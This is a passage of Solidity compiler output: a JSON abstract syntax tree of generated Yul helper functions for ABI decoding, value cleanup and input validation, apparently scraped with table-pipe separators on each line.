"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "67:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "67:9:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "57:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "allocate_unbounded", | |
"nodeType": "YulFunctionDefinition", | |
"returnVariables": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulTypedName", | |
"src": "40:6:1", | |
"type": "" | |
} | |
], | |
"src": "7:75:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "177:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "194:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "197:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "187:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "187:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "187:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", | |
"nodeType": "YulFunctionDefinition", | |
"src": "88:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "300:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "317:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "320:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "310:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "310:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "310:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulFunctionDefinition", | |
"src": "211:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "379:32:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "389:16:1", | |
"value": { | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "400:5:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "389:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "361:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "371:7:1", | |
"type": "" | |
} | |
], | |
"src": "334:77:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "460:79:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "517:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "526:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "529:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "519:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "519:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "519:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "483:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "508:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "490:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "490:24:1" | |
} | |
], | |
"functionName": { | |
"name": "eq", | |
"nodeType": "YulIdentifier", | |
"src": "480:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "480:35:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "473:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "473:43:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "470:63:1" | |
} | |
] | |
}, | |
"name": "validator_revert_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "453:5:1", | |
"type": "" | |
} | |
], | |
"src": "417:122:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "597:87:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "607:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "629:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "616:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "616:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "607:5:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "672:5:1" | |
} | |
], | |
"functionName": { | |
"name": "validator_revert_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "645:26:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "645:33:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "645:33:1" | |
} | |
] | |
}, | |
"name": "abi_decode_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "575:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "583:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "591:5:1", | |
"type": "" | |
} | |
], | |
"src": "545:139:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "735:81:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "745:65:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "760:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "767:42:1", | |
"type": "", | |
"value": "0xffffffffffffffffffffffffffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "756:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "756:54:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "745:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "717:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "727:7:1", | |
"type": "" | |
} | |
], | |
"src": "690:126:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "867:51:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "877:35:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "906:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulIdentifier", | |
"src": "888:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "888:24:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "877:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "849:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "859:7:1", | |
"type": "" | |
} | |
], | |
"src": "822:96:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "967:79:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1024:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1033:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1036:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1026:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1026:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1026:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "990:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "1015:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "997:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "997:24:1" | |
} | |
], | |
"functionName": { | |
"name": "eq", | |
"nodeType": "YulIdentifier", | |
"src": "987:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "987:35:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "980:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "980:43:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "977:63:1" | |
} | |
] | |
}, | |
"name": "validator_revert_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "960:5:1", | |
"type": "" | |
} | |
], | |
"src": "924:122:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1104:87:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1114:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "1136:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "1123:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1123:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "1114:5:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "1179:5:1" | |
} | |
], | |
"functionName": { | |
"name": "validator_revert_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "1152:26:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1152:33:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1152:33:1" | |
} | |
] | |
}, | |
"name": "abi_decode_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "1082:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "1090:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "1098:5:1", | |
"type": "" | |
} | |
], | |
"src": "1052:139:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1286:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1303:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1306:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1296:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1296:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1296:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d", | |
"nodeType": "YulFunctionDefinition", | |
"src": "1197:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1409:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1426:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1429:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1419:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1419:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1419:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490", | |
"nodeType": "YulFunctionDefinition", | |
"src": "1320:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1532:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1549:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1552:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1542:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1542:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1542:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef", | |
"nodeType": "YulFunctionDefinition", | |
"src": "1443:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1673:478:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1722:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d", | |
"nodeType": "YulIdentifier", | |
"src": "1724:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1724:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1724:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "1701:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1709:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1697:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1697:17:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "1716:3:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "1693:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1693:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "1686:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1686:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1683:122:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1814:30:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "1837:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "1824:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1824:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "1814:6:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1887:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490", | |
"nodeType": "YulIdentifier", | |
"src": "1889:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1889:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1889:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "1859:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1867:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "1856:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1856:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1853:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1979:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "1995:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2003:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1991:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1991:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "arrayPos", | |
"nodeType": "YulIdentifier", | |
"src": "1979:8:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2062:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef", | |
"nodeType": "YulIdentifier", | |
"src": "2064:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2064:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2064:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "arrayPos", | |
"nodeType": "YulIdentifier", | |
"src": "2027:8:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "2041:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2049:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "2037:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2037:17:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "2023:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2023:32:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "2057:3:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "2020:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2020:41:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "2017:128:1" | |
} | |
] | |
}, | |
"name": "abi_decode_t_array$_t_uint256_$dyn_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "1640:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "1648:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "arrayPos", | |
"nodeType": "YulTypedName", | |
"src": "1656:8:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "1666:6:1", | |
"type": "" | |
} | |
], | |
"src": "1583:568:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2246:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2263:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2266:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "2256:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2256:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2256:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_21fe6b43b4db61d76a176e95bf1a6b9ede4c301f93a4246f41fecb96e160861d", | |
"nodeType": "YulFunctionDefinition", | |
"src": "2157:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2390:152:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2429:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_21fe6b43b4db61d76a176e95bf1a6b9ede4c301f93a4246f41fecb96e160861d", | |
"nodeType": "YulIdentifier", | |
"src": "2431:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2431:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2431:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "2411:3:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "2416:6:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "2407:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2407:16:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2425:2:1", | |
"type": "", | |
"value": "96" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "2403:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2403:25:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "2400:112:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "2521:15:1", | |
"value": { | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "2530:6:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "2521:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_t_struct$_MyStruct_$8_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "2368:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "2376:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "2384:5:1", | |
"type": "" | |
} | |
], | |
"src": "2313:229:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2725:1028:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2772:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", | |
"nodeType": "YulIdentifier", | |
"src": "2774:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2774:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2774:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "2746:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "2755:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "2742:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2742:23:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2767:3:1", | |
"type": "", | |
"value": "128" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "2738:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2738:33:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "2735:120:1" | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "2865:117:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2880:15:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2894:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "2884:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "2909:63:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "2944:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "2955:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "2940:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2940:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "2964:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "2919:20:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2919:53:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "2909:6:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "2992:118:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "3007:16:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3021:2:1", | |
"type": "", | |
"value": "32" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "3011:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3037:63:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "3072:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "3083:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3068:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3068:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "3092:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "3047:20:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3047:53:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value1", | |
"nodeType": "YulIdentifier", | |
"src": "3037:6:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "3120:313:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "3135:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
